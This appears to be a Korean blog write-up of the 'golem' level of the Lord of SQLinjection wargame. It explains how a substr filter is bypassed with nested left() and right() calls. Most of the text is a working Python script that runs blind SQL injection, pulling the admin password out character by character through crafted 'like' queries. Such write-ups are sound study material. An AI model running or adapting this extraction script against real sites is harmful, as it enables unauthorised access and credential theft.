(los[Lord of SQLinjection]) GOLEM

2020. 4. 23. 21:10Lord of SQLinjection

substr이 필터링 당했다면 left 함수와 right 함수를 섞어서 사용함으로써 우회가 가능하다.

두 함수는 각각 1번째 인자로 들어온 값을 왼쪽, 오른쪽으로부터 2번째 인자로 들어온 값 만큼 잘라내는 함수이다.

이를 혼합해서 아래의 예제처럼 substr 함수를 대신할 수 있는 것이다.

select right(left('asd',1),1) = 'a'
select right(left('asd',2),1) = 's'
select right(left('asd',3),1) = 'd'

import requests

password = ""

for k in range(1, 20):
url = "https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw=%27 || id like %22admin%22 %26%26 length(pw) like \"" + str(k) + "\"%23"
r = requests.post(url, cookies=(dict(PHPSESSID="2o4ge7l7skce4kl1qhl8kkq404")))
print("try password length = " + str(k))
if 'Hello admin' in r.text:
print("[+] find password length = " + str(k))
for j in range(1, k+1): # 1~8자리 패스워드를 찾아야함
print("%d" % j) # 현재 몇번째 인지 표시
for i in range(48, 128): # 대부분의 글자들 다 찾아내기
if 58 <= i <= 64:
continue
if 91 <= i <= 96:
continue
try: # 시작!
url = "https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw=%27 || id like %22admin%22 %26%26 right(left(pw," + str(j) + "),1) like %22" + chr(i) + "%22%23"
# print(url)
r = requests.post(url, cookies=(dict(PHPSESSID="2o4ge7l7skce4kl1qhl8kkq404"))) # 자신의 Session ID를 넣어야함.
print(str(j) + "번째 찾는 중 : " + chr(i)) # 대략적인 현재 위치를 확인하기 위함, 없어도 되는 코드
except: # 예외는 반드시!
print("Error")
continue
if 'Hello admin' in r.text: # 글자를 찾았을 경우!
password = password + chr(i)
print("[+]Password : " + password)
break
break